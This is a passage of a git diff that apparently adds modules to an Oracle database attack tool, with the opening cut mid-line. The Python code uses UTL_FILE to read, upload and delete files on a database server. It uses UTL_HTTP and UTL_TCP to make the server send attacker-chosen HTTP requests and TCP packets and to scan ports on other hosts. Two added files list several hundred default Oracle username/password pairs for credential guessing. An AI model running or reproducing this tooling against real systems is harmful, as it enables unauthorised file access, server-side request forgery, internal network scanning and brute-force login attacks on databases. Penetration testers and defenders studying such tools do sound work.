BOOLEAN; l_file_length NUMBER; l_blocksize NUMBER; BEGIN UTL_FILE.fgetattr('{0}', '{1}', l_exists, l_file_length, l_blocksize); dbms_output.put_line(l_file_length); END;" + cursor = cx_Oracle.Cursor(self.args['dbcon']) + try : + cursor.callproc("dbms_output.enable") + try: + cursor.execute(UTL_FILE_GET_LENGTH.format(self.directoryName, remoteNameFile)) + except Exception, e: + logging.info("Impossible to execute the query `{0}`: {1}".format(UTL_FILE_GET_LENGTH, self.cleanError(e))) + self.__dropDirectory__() + return ErrorSQLRequest(e) + else : + statusVar = cursor.var(cx_Oracle.NUMBER) + lineVar = cursor.var(cx_Oracle.STRING) + while True: + cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) + if statusVar.getvalue() != 0: + break + line = lineVar.getvalue() + if line == None : + line = '0' + logging.info("The file length is: {0}".format(line)) + return int(line) + cursor.close() + except Exception, e: + self.__dropDirectory__() + return ErrorSQLRequest(e) + self.__dropDirectory__() + return data + + def getFileExist (self, remotePath, remoteNameFile): + ''' + Return true if file exists + ''' + exist = False + logging.info("Test if the {1}{0} file exists".format(remoteNameFile,remotePath)) + self.__setDirectoryName__() + status = self.__createOrRemplaceDirectory__(remotePath) + if isinstance(status,Exception): return status + UTL_FILE_EXIST = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_value VARCHAR2(32000); l_exists BOOLEAN; l_file_length NUMBER; l_blocksize NUMBER; BEGIN UTL_FILE.fgetattr('{0}', '{1}', l_exists, l_file_length, l_blocksize); dbms_output.put_line(case when l_exists then 'True' else 'False' end); END;" + cursor = cx_Oracle.Cursor(self.args['dbcon']) + try : + cursor.callproc("dbms_output.enable") + try: + cursor.execute(UTL_FILE_EXIST.format(self.directoryName, remoteNameFile)) + except Exception, e: + logging.info("Impossible to execute the query `{0}`: {1}".format(UTL_FILE_EXIST, self.cleanError(e))) + self.__dropDirectory__() + return ErrorSQLRequest(e) + else : + statusVar = cursor.var(cx_Oracle.NUMBER) + lineVar = cursor.var(cx_Oracle.STRING) + while True: + cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) + if statusVar.getvalue() != 0: break + line = lineVar.getvalue() + if line == None : + line = '' + if "True" in line : + logging.debug("The file exist: good news") + return True + elif "False" in line : + logging.debug("The file doesn't exist") + return False + else : return '' + cursor.close() + except Exception, e: + self.__dropDirectory__() + return ErrorSQLRequest(e) + self.__dropDirectory__() + return data + + def deleteFile (self,remotePath, remoteNameFile): + ''' + Delete a remote file + ''' + logging.info("Delete the {0} remote file stored in {1}".format(remoteNameFile,remotePath)) + self.__setDirectoryName__() + status = self.__createOrRemplaceDirectory__(remotePath) + if isinstance(status,Exception): + logging.info("Impossible to delete the file: {0}".format(self.cleanError(response))) + return status + UTL_FILE_DELETE_FILE = "BEGIN UTL_FILE.FREMOVE ('{0}', '{1}'); END;" + response =self.__execPLSQL__(UTL_FILE_DELETE_FILE.format(self.directoryName, remoteNameFile)) + if isinstance(response,Exception): + logging.info("Impossible to delete the file: {0}".format(self.cleanError(response))) + return response + return True + + def testAll(self): + ''' + Test all functions + ''' + folder = self.__generateRandomString__() + self.args['print'].subtitle("UTL_FILE library ?") + logging.info("Simulate the file creation in the {0} folder with UTL_FILE".format(folder)) + logging.info('The file is not created remotly because the folder should not exist') + status = self.putFile (remotePath=folder, remoteNameFile='temp.txt', data="test") + if status == True or self.ERROR_BAD_FOLDER_OR_BAD_SYSTEM_PRIV in str(status): + self.args['print'].goodNews("OK") + else : + self.args['print'].badNews("KO") + + +def runUtlFileModule(args): + ''' + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","getFile",'putFile','removeFile']) == False : return EXIT_MISS_ARGUMENT + utlFile = UtlFile(args) + status = utlFile.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the UTL_FILE library can be used") + status = utlFile.testAll() + #Option 1: read file + if args['getFile'] !=None : + args['print'].title("Read the {0} file stored in {1} on the {2} server".format(args['getFile'][1],args['getFile'][0],args['server'])) + #fileExist = utlFile.getFileExist(args['getFile'][0], args['getFile'][1]) + length = utlFile.getLength(args['getFile'][0], args['getFile'][1]) + data = utlFile.getFile(args['getFile'][0], args['getFile'][1]) + if isinstance(data,Exception): + args['print'].badNews("Impossible to read the {0} file: {1}".format(args['getFile'],data)) + else : + if data == False : args['print'].badNews("The {0} file in {1} doesn't exist".format(args['getFile'][1],args['getFile'][0])) + elif data == '' : args['print'].badNews("The {0} file is empty".format(args['getFile'])) + else : + args['print'].goodNews("Data stored in the {0} file sored in {1} (copied in {2} locally):\n{3}".format(args['getFile'][1],args['getFile'][0],args['getFile'][2],data)) + utlFile.writeFile(args['getFile'][2],data) + #Option 2: put file + if args['putFile'] !=None : + args['print'].title("Put the {0} local file in the {1} folder like {2} on the {3} server".format(args['putFile'][2],args['putFile'][0],args['putFile'][1],args['server'])) + status = utlFile.putFile(args['putFile'][0], args['putFile'][1], localFile=args['putFile'][2]) + if isinstance(status,Exception): + args['print'].badNews("Impossible to put the {0} file: {1}".format(args['putFile'][2],status)) + else : + args['print'].goodNews("The {0} file was created on the {1} directory on the {2} server like the {3} file".format(args['putFile'][2], args['putFile'][0], args['server'],args['putFile'][1])) + #Option 3: remove file + if args['removeFile'] !=None : + args['print'].title("Remove the {0} file stored in the {1} folder on the {2} server".format(args['removeFile'][1],args['removeFile'][0],args['server'])) + status = utlFile.deleteFile(args['removeFile'][0], args['removeFile'][1]) + if isinstance(status,Exception): + args['print'].badNews("Impossible to remove the {0} file: {1}".format(args['removeFile'][1],status )) + else : + args['print'].goodNews("The {0} file was deleted on the {1} directory on the {2} server".format(args['removeFile'][1], args['removeFile'][0], args['server'])) + + + + + diff --git a/UtlHttp.py b/UtlHttp.py new file mode 100644 index 0000000..0140ed6 --- /dev/null +++ b/UtlHttp.py @@ -0,0 +1,114 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from Http import Http +import logging +from sys import exit +from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser +from Constants import * + +class UtlHttp (Http): + ''' + Allow the user to send HTTP request + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("UtlHttp object created") + Http.__init__(self,args) + + def setTimeout(self,value): + ''' + Set the timeout value with utl_http.set_transfer_timeout(value) + Default value = 60 s in oracle + Return True si Ok, otherwise return the Exception + ''' + status = self.__execProc__('utl_http.set_transfer_timeout',options=[value]) + if isinstance(status,Exception): + logging.warning("Impossible to set the timeout value: {0}".format(self.cleanError(status))) + return status + else : + logging.info('The timeout value is turned on {0} secs'.format(value)) + return True + + def sendGetRequest(self,url): + ''' + send a HTTP get request to url + Return False if the current user is not allowed to use the httpuritype lib, else return False or response data + ''' + logging.info('Send a HTTP GET request to {0}'.format(url)) + + query = "select utl_http.request('{0}') as data from dual".format(url) + response = self. __execThisQuery__(query=query,ld=['data']) + if isinstance(response,Exception): + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return ErrorSQLRequest(response) + elif isinstance(response,list) and isinstance(response[0],dict): + return response[0]['data'] + logging.info('Enough privileges') + return '' + + def sendRequest(self,ip,port,filename): + ''' + ''' + params = self.parseRequest(nameFileRequest=filename) + if params == None : return False + request = "DECLARE req utl_http.req; res utl_http.resp; buffer varchar2(4000); BEGIN req := utl_http.begin_request('http://{0}:{1}{2}', '{3}','{4}');".format(ip,port,params['url'],params['method'],params['version']) + for key in params['header'].keys(): + request += "utl_http.set_header(req, '{0}','{1}');".format(key,params['header'][key]) + if params['body'] != None: + request += "utl_http.write_text(req, '{0}');".format(params['body']) + request += "res := utl_http.get_response(req); BEGIN LOOP utl_http.read_line(res, buffer); dbms_output.put_line(buffer); END LOOP; utl_http.end_response(res); exception when utl_http.end_of_body then utl_http.end_response(res); END; END;" + response = self.__execPLSQLwithDbmsOutput__(request=request) + return response + + def testAll (self): + ''' + Test all functions + ''' + self.args['print'].subtitle("UTL_HTTP library ?") + logging.info('Try to make the server send a HTTP request to 0.0.0.0 with the UTL_HTTP library') + response = self.sendGetRequest('http://0.0.0.0/') + if isinstance(response,Exception) and self.ERROR_NO_PRIVILEGE in str(response) or self.ERROR_NO_PRIVILEGE_INVALID_ID in str(response) or self.ERROR_XML_DB_SECU_NOT_INST in str(response): #ERROR_NO_PRIVILEGE_INVALID_ID ==> For Oracle 10g + logging.info('Not enough privileges: {0}'.format(str(response))) + self.args['print'].badNews("KO") + return False + else: + self.args['print'].goodNews("OK") + return True + +def runUtlHttpModule(args): + ''' + Run the UTL_HTTP module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","scan-ports","send"]) == False : return EXIT_MISS_ARGUMENT + utlHttp = UtlHttp(args) + status = utlHttp.connection(stopIfError=True) + utlHttp.setTimeout(5) + if args['test-module'] == True : + args['print'].title("Test if the UTL_HTTP library can be used") + status = utlHttp.testAll() + #Option 1: sendRequest + if args['send'] != None: + args['print'].title("Send the HTTP request stored in the {0} file".format(args['send'][2])) + data = utlHttp.sendRequest(args['send'][0],args['send'][1],args['send'][2]) + if isinstance(data,Exception): + args['print'].badNews("Impossible to send the request: {0}".format(data)) + else : + args['print'].goodNews("Response from the server:\n{0}".format(data)) + #Option 2: scan-ports + if args['scan-ports'] != None: + ports = [] + if "," in args['scan-ports'][1]: ports=args['scan-ports'][1].split(',') + elif '-' in args['scan-ports'][1]: + startEnd = args['scan-ports'][1].split('-') + for aPort in range(int(startEnd[0]),int(startEnd[1])): ports.append(str(aPort)) + elif args['scan-ports'][1].isdigit() == True: ports = [args['scan-ports'][1]] + else : logging.error("Syntax for ports given not recognized") + args['print'].title("Scan ports ({0}) of {1} ".format(args['scan-ports'][1],args['scan-ports'][0])) + resultats = utlHttp.scanTcpPorts(httpObject=utlHttp,ip=args['scan-ports'][0],ports=ports) + utlHttp.printScanPortResults(resultats) + utlHttp.close() + diff --git a/UtlTcp.py b/UtlTcp.py new file mode 100644 index 0000000..f6f68d1 --- /dev/null +++ b/UtlTcp.py @@ -0,0 +1,96 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from Http import Http +import logging, cx_Oracle +from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser +from Constants import * + +import threading, thread + +class UtlTcp (Http): + ''' + Allow the user to scan ports + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("UtlTcp object created") + Http.__init__(self,args) + + def tryToConnect(self,server,port): + ''' + Try to connect to this server on the port selected + ''' + request = "DECLARE c utl_tcp.connection; BEGIN c := utl_tcp.open_connection('{0}',{1}); utl_tcp.close_connection(c); END;".format(server, port) + response = self.__execPLSQL__(request) + if isinstance(response,Exception): + logging.info('Impossible to connect to the {0}:{1} server with UTL_TCP: {2}'.format(server,port,response)) + return response + else : return True + + def sendPacket(self,server,port,filename=None, data=None): + ''' + Send a packet to the server, on the specific port + ''' + responsedata = "" + if filename==None and data==None : logging.error("To send a packet via UTL_TCP, you must choose between a name file or data") + if filename != None: data = self.__loadFile__(filename) + elif data == None: data = "" + data = data.encode("hex") + request = "DECLARE c utl_tcp.connection; ret_val pls_integer; bu RAW(32766); BEGIN c := utl_tcp.open_connection('{0}',{1}); bu:=hextoraw('{2}'); ret_val := utl_tcp.write_raw(c, bu); ret_val := utl_tcp.write_line(c); BEGIN LOOP dbms_output.put_line(utl_tcp.get_line(c, TRUE)); END LOOP; EXCEPTION WHEN utl_tcp.end_of_input THEN NULL; END; utl_tcp.close_connection(c); END;".format(server, port,data) + logging.info("Send the packet") + data = self.__execPLSQLwithDbmsOutput__(request,addLineBreak=True) + return data + + + def testAll (self): + ''' + Test all functions + ''' + self.args['print'].subtitle("UTL_TCP library ?") + logging.info('Try to make the server connect to 0.0.0.0:00 with the UTL_TCP library') + response = self.tryToConnect('0.0.0.0','1') + if isinstance(response,Exception) and self.ERROR_UTL_TCP_NETWORK not in str(response): + logging.info('Not enough privileges: {0}'.format(str(response))) + self.args['print'].badNews("KO") + return False + else: + self.args['print'].goodNews("OK") + return True + +def runUtlTcpModule(args): + ''' + Run the UTL_TCP module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","send-packet","scan-ports"]) == False : return EXIT_MISS_ARGUMENT + utlTcp = UtlTcp(args) + status = utlTcp.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the UTL_TCP library can be used") + status = utlTcp.testAll() + #Option 2: send packet + if args['send-packet'] != None: + args['print'].title("Send the packet stored in the {0} file".format(args['send-packet'][2])) + data = utlTcp.sendPacket(args['send-packet'][0],args['send-packet'][1],filename=args['send-packet'][2]) + if isinstance(data,Exception): + args['print'].badNews("Impossible to send the packet: {0}".format(data)) + else : + args['print'].goodNews("Response from the server:\n{0}".format(data)) + #Option 1: tcp Scan + if args['scan-ports'] != None: + ports = [] + if "," in args['scan-ports'][1]: ports=args['scan-ports'][1].split(',') + elif '-' in args['scan-ports'][1]: + startEnd = args['scan-ports'][1].split('-') + for aPort in range(int(startEnd[0]),int(startEnd[1])): ports.append(str(aPort)) + else : logging.error("Syntax for ports given not recognized") + args['print'].title("Scan ports ({0}) of {1} ".format(args['scan-ports'][1],args['scan-ports'][0])) + resultats = utlTcp.scanTcpPorts(httpObject=utlTcp,ip=args['scan-ports'][0],ports=ports) + utlTcp.printScanPortResults(resultats) + utlTcp.close() + + + diff --git a/accounts/accounts.txt b/accounts/accounts.txt new file mode 100644 index 0000000..245fb21 --- /dev/null +++ b/accounts/accounts.txt @@ -0,0 +1,605 @@ +ABM/ABM +ADAMS/WOOD +ADLDEMO/ADLDEMO +ADMINISTRATOR/ADMIN +ADMINISTRATOR/ADMINISTRATOR +ADMIN/JETSPEED +ADMIN/WELCOME +AHL/AHL +AHM/AHM +AK/AK +ALHRO/XXX +ALHRW/XXX +ALR/ALR +AMS/AMS +AMV/AMV +ANDY/SWORDFISH +ANONYMOUS/ANONYMOUS +ANONYMOUS/ +AP/AP +APPLMGR/APPLMGR +APPLSYS/APPLSYS +APPLSYS/APPS +APPLSYS/FND +APPLSYSPUB/APPLSYSPUB +APPLSYSPUB/FNDPUB +APPLSYSPUB/PUB +APPLYSYSPUB/FNDPUB +APPLYSYSPUB/PUB +APPLYSYSPUB/ +APPS/APPS +APPS_MRC/APPS +APPUSER/APPPASSWORD +AQ/AQ +AQDEMO/AQDEMO +AQJAVA/AQJAVA +AQUSER/AQUSER +AR/AR +ASF/ASF +ASG/ASG +ASL/ASL +ASO/ASO +ASP/ASP +AST/AST +ATM/SAMPLEATM +AUDIOUSER/AUDIOUSER +AURORA$JIS$UTILITY$/INVALID +AURORA$JIS$UTILITY$/ +AURORA$ORB$UNAUTHENTICATED/INVALID +AURORA$ORB$UNAUTHENTICATED/ +AX/AX +AZ/AZ +BC4J/BC4J +BEN/BEN +BIC/BIC +BIL/BIL +BIM/BIM +BIS/BIS +BIV/BIV +BIX/BIX +BLAKE/PAPER +BLEWIS/BLEWIS +BOM/BOM +BRIO_ADMIN/BRIO_ADMIN +BRUGERNAVN/ADGANGSKODE +BRUKERNAVN/PASSWORD +BSC/BSC +BUG_REPORTS/BUG_REPORTS +CALVIN/HOBBES +CATALOG/CATALOG +CCT/CCT +CDEMO82/CDEMO82 +CDEMO82/CDEMO83 +CDEMO82/UNKNOWN +CDEMOCOR/CDEMOCOR +CDEMORID/CDEMORID +CDEMOUCB/CDEMOUCB +CDOUGLAS/CDOUGLAS +CE/CE +CENTRA/CENTRA +CENTRAL/CENTRAL +CIDS/CIDS +CIS/CIS +CISINFO/CISINFO +CISINFO/ZWERG +CIS/ZWERG +CLARK/CLOTH +CLKANA/ +CLKRT/ +CN/CN +COMPANY/COMPANY +COMPIERE/COMPIERE +CQSCHEMAUSER/PASSWORD +CQUSERDBUSER/PASSWORD +CRP/CRP +CSC/CSC +CS/CS +CSD/CSD +CSE/CSE +CSF/CSF +CSI/CSI +CSL/CSL +CSMIG/CSMIG +CSP/CSP +CSR/CSR +CSS/CSS +CTXDEMO/CTXDEMO +CTXSYS/CHANGE_ON_INSTALL +CTXSYS/CTXSYS +CTXSYS/UNKNOWN +CTXSYS/ +CUA/CUA +CUE/CUE +CUF/CUF +CUG/CUG +CUI/CUI +CUN/CUN +CUP/CUP +CUS/CUS +CZ/CZ +DATA_SCHEMA/LASKJDF098KSDAF09 +DBATEST/DBATEST +DBI/MUMBLEFRATZ +DBSNMP/DBSNMP +DBVISION/DBVISION +DCM/ +DDIC/199220706 +DEMO8/DEMO8 +DEMO9/DEMO9 +DEMO/DEMO +DES2K/DES2K +DES/DES +DEV2000_DEMOS/DEV2000_DEMOS +DIANE/PASSWO1 +DIP/DIP +DISCOVERER5/ +DISCOVERER_ADMIN/DISCOVERER_ADMIN +DMSYS/DMSYS +DPF/DPFPASS +DSGATEWAY/DSGATEWAY +DSGATEWAY/ +DSSYS/DSSYS +DTSP/DTSP +EAA/EAA +EAM/EAM +EARLYWATCH/SUPPORT +EAST/EAST +EC/EC +ECX/ECX +EJB/EJB +EJSADMIN/EJSADMIN +EJSADMIN/EJSADMIN_PASSWORD +EMP/EMP +ENG/ENG +ENI/ENI +ESTOREUSER/ESTORE +EVENT/EVENT +EVM/EVM +EXAMPLE/EXAMPLE +EXFSYS/EXFSYS +EXTDEMO2/EXTDEMO2 +EXTDEMO/EXTDEMO +FA/FA +FEM/FEM +FII/FII +FINANCE/FINANCE +FINPROD/FINPROD +FLM/FLM +FND/FND +FOO/BAR +FPT/FPT +FRM/FRM +FROSTY/SNOWMAN +FTE/FTE +FV/FV +GL/GL +GMA/GMA +GMD/GMD +GME/GME +GMF/GMF +GMI/GMI +GML/GML +GMP/GMP +GMS/GMS +GPFD/GPFD +GPLD/GPLD +GR/GR +HADES/HADES +HCPARK/HCPARK +HLW/HLW +HR/CHANGE_ON_INSTALL +HR/HR +HRI/HRI +HR/UNKNOWN +HR/ +HVST/HVST +HXC/HXC +HXT/HXT +IBA/IBA +IBE/IBE +IBP/IBP +IBU/IBU +IBY/IBY +ICDBOWN/ICDBOWN +ICX/ICX +IDEMO_USER/IDEMO_USER +IEB/IEB +IEC/IEC +IEM/IEM +IEO/IEO +IES/IES +IEU/IEU +IEX/IEX +IFSSYS/IFSSYS +IGC/IGC +IGF/IGF +IGI/IGI +IGS/IGS +IGW/IGW +IMAGEUSER/IMAGEUSER +IMC/IMC +IMEDIA/IMEDIA +IMT/IMT +#INTERNAL/ORACLE +INTERNAL/ORACLE +#INTERNAL/SYS_STNT +INTERNAL/SYS_STNT +INV/INV +IPA/IPA +IPD/IPD +IPLANET/IPLANET +ISC/ISC +ITG/ITG +JA/JA +JAKE/PASSWO4 +JE/JE +JG/JG +JILL/PASSWO2 +JL /JL +JMUSER/JMUSER +JOHN/JOHN +JONES/STEEL +JTF/JTF +JTM/JTM +JTS/JTS +JWARD/AIROPLANE +KWALKER/KWALKER +L2LDEMO/L2LDEMO +LBACSYS/LBACSYS +LIBRARIAN/SHELVES +MANPROD/MANPROD +MARK/PASSWO3 +MASCARM/MANAGER +MASTER/PASSWORD +MDDATA/MDDATA +MDDEMO_CLERK/CLERK +MDDEMO_CLERK/MGR +MDDEMO/MDDEMO +MDDEMO_MGR/MDDEMO_MGR +MDDEMO_MGR/MGR +MDSYS/MDSYS +ME/ME +MFG/MFG +MGR/MGR +MGWUSER/MGWUSER +MIGRATE/MIGRATE +MILLER/MILLER +MMO2/MMO2 +MMO2/MMO3 +MMO2/UNKNOWN +MODTEST/YES +MOREAU/MOREAU +MRP/MRP +MSC/MSC +MSD/MSD +MSO/MSO +MSR/MSR +MTSSYS/MTSSYS +MTS_USER/MTS_PASSWORD +MWA/MWA +MXAGENT/MXAGENT +NAMES/NAMES +NEOTIX_SYS/NEOTIX_SYS +NNEUL/NNEULPASS +NOMEUTENTE/PASSWORD +NOME_UTILIZADOR/SENHA +NOM_UTILISATEUR/MOT_DE_PASSE +NUME_UTILIZATOR/PAROL +OAIHUB902/ +OAS_PUBLIC/OAS_PUBLIC +OAS_PUBLIC/ +OCITEST/OCITEST +OCM_DB_ADMIN/OCM_DB_ADMIN +OCM_DB_ADMIN/ +ODM_MTR/MTRPW +ODM/ODM +ODSCOMMON/ODSCOMMON +ODS/ODS +ODS_SERVER/ODS_SERVER +OE/CHANGE_ON_INSTALL +OEMADM/OEMADM +OEMREP/OEMREP +OEM_REPOSITORY/ +OE/OE +OE/UNKNOWN +OKB/OKB +OKC/OKC +OKE/OKE +OKI/OKI +OKO/OKO +OKR/OKR +OKS/OKS +OKX/OKX +OLAPDBA/OLAPDBA +OLAPSVR/INSTANCE +OLAPSVR/OLAPSVR +OLAPSYS/MANAGER +OLAPSYS/OLAPSYS +OMWB_EMULATION/ORACLE +ONT/ONT +OO/OO +OPENSPIRIT/OPENSPIRIT +OPI/OPI +ORACACHE/ORACACHE +ORACACHE/ +ORACLE/ORACLE +ORACLE_OCM/ORACLE_OCM +ORADBA/ORADBAPASS +ORANGE/ +ORAPROBE/ORAPROBE +ORAREGSYS/ORAREGSYS +ORASSO_DS/ORASSO_DS +ORASSO/ORASSO +ORASSO_PA/ORASSO_PA +ORASSO_PS/ORASSO_PS +ORASSO_PUBLIC/ORASSO_PUBLIC +ORASTAT/ORASTAT +ORCLADMIN/WELCOME +ORDCOMMON/ORDCOMMON +ORDPLUGINS/ORDPLUGINS +ORDSYS/ORDSYS +OSE$HTTP$ADMIN/INVALID +OSE$HTTP$ADMIN/Invalid password +OSM/OSM +OSP22/OSP22 +OSSAQ_HOST/ +OSSAQ_PUB/ +OSSAQ_SUB/ +OTA/OTA +OUTLN/OUTLN +OWA/OWA +OWA_PUBLIC/OWA_PUBLIC +OWF_MGR/OWF_MGR +OWF_MGR/ +OWNER/OWNER +OZF/OZF +OZP/OZP +OZS/OZS +PANAMA/PANAMA +PA/PA +PATROL/PATROL +PAUL/PAUL +PERFSTAT/PERFSTAT +PERSTAT/PERSTAT +PJM/PJM +PLANNING/PLANNING +PLEX/PLEX +PLSQL/SUPERSECRET +PM/CHANGE_ON_INSTALL +PMI/PMI +PM/PM +PM/UNKNOWN +PN/PN +PO7/PO7 +PO8/PO8 +POA/POA +POM/POM +PO/PO +PORTAL30_ADMIN/PORTAL30_ADMIN +PORTAL30_DEMO/PORTAL30_DEMO +PORTAL30/PORTAL30 +PORTAL30/PORTAL31 +PORTAL30_PS/PORTAL30_PS +PORTAL30_PUBLIC/PORTAL30_PUBLIC +PORTAL30_SSO_ADMIN/PORTAL30_SSO_ADMIN +PORTAL30_SSO/PORTAL30_SSO +PORTAL30_SSO_PS/PORTAL30_SSO_PS +PORTAL30_SSO_PUBLIC/PORTAL30_SSO_PUBLIC +PORTAL_APP/ +PORTAL_DEMO/PORTAL_DEMO +PORTAL_DEMO/ +PORTAL_PUBLIC/ +PORTAL_SSO_PS/PORTAL_SSO_PS +PORTAL/ +POS/POS +POWERCARTUSER/POWERCARTUSER +PRIMARY/PRIMARY +PSA/PSA +PSB/PSB +PSP/PSP +PUBSUB1/PUBSUB1 +PUBSUB/PUBSUB +PV/PV +QA/QA +QDBA/QDBA +QP/QP +QS_ADM/CHANGE_ON_INSTALL +QS_ADM/QS_ADM +QS_ADM/UNKNOWN +QS_CBADM/CHANGE_ON_INSTALL +QS_CBADM/QS_CBADM +QS_CBADM/UNKNOWN +QS_CB/CHANGE_ON_INSTALL +QS_CB/QS_CB +QS_CB/UNKNOWN +QS/CHANGE_ON_INSTALL +QS_CS/CHANGE_ON_INSTALL +QS_CS/QS_CS +QS_CS/UNKNOWN +QS_ES/CHANGE_ON_INSTALL +QS_ES/QS_ES +QS_ES/UNKNOWN +QS_OS/CHANGE_ON_INSTALL +QS_OS/QS_OS +QS_OS/UNKNOWN +QS/QS +QS/UNKNOWN +QS_WS/CHANGE_ON_INSTALL +QS_WS/QS_WS +QS_WS/UNKNOWN +REPADMIN/REPADMIN +REP_MANAGER/DEMO +REPORTS/REPORTS +REPORTS_USER/OEM_TEMP +REP_OWNER/DEMO +REP_OWNER/REP_OWNER +REP_USER/DEMO +RE/RE +RG/RG +RHX/RHX +RLA/RLA +RLM/RLM +RMAIL/RMAIL +RMAN/RMAN +ROOT/ROOT +RRS/RRS +SAMPLE/SAMPLE +SAP/06071992 +SAPR3/SAP +SAP/SAPR3 +SCOTT/TIGER +SCOTT/TIGGER +SDOS_ICSAP/SDOS_ICSAP +SECDEMO/SECDEMO +SERVICECONSUMER1/SERVICECONSUMER1 +SH/CHANGE_ON_INSTALL +SH/SH +SH/UNKNOWN +SI_INFORMTN_SCHEMA/SI_INFORMTN_SCHEMA +SITEMINDER/SITEMINDER +SLIDE/SLIDEPW +SPIERSON/SPIERSON +SSP/SSP +STARTER/STARTER +STRAT_USER/STRAT_PASSWD +SWPRO/SWPRO +SWUSER/SWUSER +SYMPA/SYMPA +SYS/0RACL3 +SYS/0RACL38 +SYS/0RACL38I +SYS/0RACL39 +SYS/0RACL39I +SYS/0RACLE +SYS/0RACLE8 +SYS/0RACLE8I +SYS/0RACLE9 +SYS/0RACLE9I +SYSADMIN/SYSADMIN +SYSADMIN/ +SYSADM/SYSADM +SYS/CHANGE_ON_INSTALL +SYS/D_SYSPW +SYS/MANAG3R +SYS/MANAGER +SYSMAN/OEM_TEMP +SYSMAN/SYSMAN +SYS/ORACL3 +SYS/ORACLE +SYS/ORACLE8 +SYS/ORACLE8I +SYS/ORACLE9 +SYS/ORACLE9I +SYS/SYS +SYS/SYSPASS +SYSTEM/0RACL3 +SYSTEM/0RACL38 +SYSTEM/0RACL38I +SYSTEM/0RACL39 +SYSTEM/0RACL39I +SYSTEM/0RACLE +SYSTEM/0RACLE8 +SYSTEM/0RACLE8I +SYSTEM/0RACLE9 +SYSTEM/0RACLE9I +SYSTEM/CHANGE_ON_INSTALL +SYSTEM/D_SYSPW +SYSTEM/D_SYSTPW +SYSTEM/MANAG3R +SYSTEM/MANAGER +SYSTEM/ORACL3 +SYSTEM/ORACLE +SYSTEM/ORACLE8 +SYSTEM/ORACLE8I +SYSTEM/ORACLE9 +SYSTEM/ORACLE9I +SYSTEM/SYSTEM +SYSTEM/SYSTEMPASS +SYSTEM/welcome1 +SYSTEM/oracle +TAHITI/TAHITI +TALBOT/MT6CH5 +TDOS_ICSAP/TDOS_ICSAP +TEC/TECTEC +TEST/PASSWD +TESTPILOT/TESTPILOT +TEST/TEST +TEST_USER/TEST_USER +THINSAMPLE/THINSAMPLEPW +TIBCO/TIBCO +TIP37/TIP37 +TRACESVR/TRACE +TRAVEL/TRAVEL +TSDEV/TSDEV +TSUSER/TSUSER +TURBINE/TURBINE +UDDISYS/ +ULTIMATE/ULTIMATE +UM_ADMIN/UM_ADMIN +UM_CLIENT/UM_CLIENT +USER0/USER0 +USER1/USER1 +USER2/USER2 +USER3/USER3 +USER4/USER4 +USER5/USER5 +USER6/USER6 +USER7/USER7 +USER8/USER8 +USER9/USER9 +USER_NAME/PASSWORD +USER/USER +USUARIO/CLAVE +UTILITY/UTILITY +UTLBSTATU/UTLESTAT +VEA/VEA +VEH/VEH +VERTEX_LOGIN/VERTEX_LOGIN +VIDEOUSER/VIDEOUSER +VIF_DEVELOPER/VIF_DEV_PWD +VIRUSER/VIRUSER +VPD_ADMIN/AKF7D98S2 +VRR1/UNKNOWN +VRR1/VRR1 +VRR1/VRR2 +WEBCAL01/WEBCAL01 +WEBDB/WEBDB +WEBREAD/WEBREAD +WEBSYS/MANAGER +WEBUSER/YOUR_PASS +WEST/WEST +WFADMIN/WFADMIN +WH/WH +WIP/WIP +WIRELESS/ +WKADMIN/WKADMIN +WKPROXY/CHANGE_ON_INSTALL +WK_PROXY/ +WKPROXY/UNKNOWN +WKPROXY/WKPROXY +WKSYS/CHANGE_ON_INSTALL +WK_SYS/ +WKSYS/WKSYS +WK_TEST/WK_TEST +WKUSER/WKUSER +WMS/WMS +WMSYS/WMSYS +WOB/WOB +WPS/WPS +WSH/WSH +WSM/WSM +WWWUSER/WWWUSER +WWW/WWW +XADEMO/XADEMO +XDB/CHANGE_ON_INSTALL +XDB/XDB +XDP/XDP +XLA/XLA +XNC/XNC +XNI/XNI +XNM/XNM +XNP/XNP +XNS/XNS +XPRT/XPRT +XTR/XTR +SYS/oracle diff --git a/accounts/accounts_multiple.txt b/accounts/accounts_multiple.txt new file mode 100644 index 0000000..245fb21 --- /dev/null +++ b/accounts/accounts_multiple.txt @@ -0,0 +1,605 @@ +ABM/ABM +ADAMS/WOOD +ADLDEMO/ADLDEMO +ADMINISTRATOR/ADMIN +ADMINISTRATOR/ADMINISTRATOR +ADMIN/JETSPEED +ADMIN/WELCOME +AHL/AHL +AHM/AHM +AK/AK +ALHRO/XXX +ALHRW/XXX +ALR/ALR +AMS/AMS +AMV/AMV +ANDY/SWORDFISH +ANONYMOUS/ANONYMOUS +ANONYMOUS/ +AP/AP +APPLMGR/APPLMGR +APPLSYS/APPLSYS +APPLSYS/APPS +APPLSYS/FND +APPLSYSPUB/APPLSYSPUB +APPLSYSPUB/FNDPUB +APPLSYSPUB/PUB +APPLYSYSPUB/FNDPUB +APPLYSYSPUB/PUB +APPLYSYSPUB/ +APPS/APPS +APPS_MRC/APPS +APPUSER/APPPASSWORD +AQ/AQ +AQDEMO/AQDEMO +AQJAVA/AQJAVA +AQUSER/AQUSER +AR/AR +ASF/ASF +ASG/ASG +ASL/ASL +ASO/ASO +ASP/ASP +AST/AST +ATM/SAMPLEATM +AUDIOUSER/AUDIOUSER +AURORA$JIS$UTILITY$/INVALID +AURORA$JIS$UTILITY$/ +AURORA$ORB$UNAUTHENTICATED/INVALID +AURORA$ORB$UNAUTHENTICATED/ +AX/AX +AZ/AZ +BC4J/BC4J +BEN/BEN +BIC/BIC +BIL/BIL +BIM/BIM +BIS/BIS +BIV/BIV +BIX/BIX +BLAKE/PAPER +BLEWIS/BLEWIS +BOM/BOM 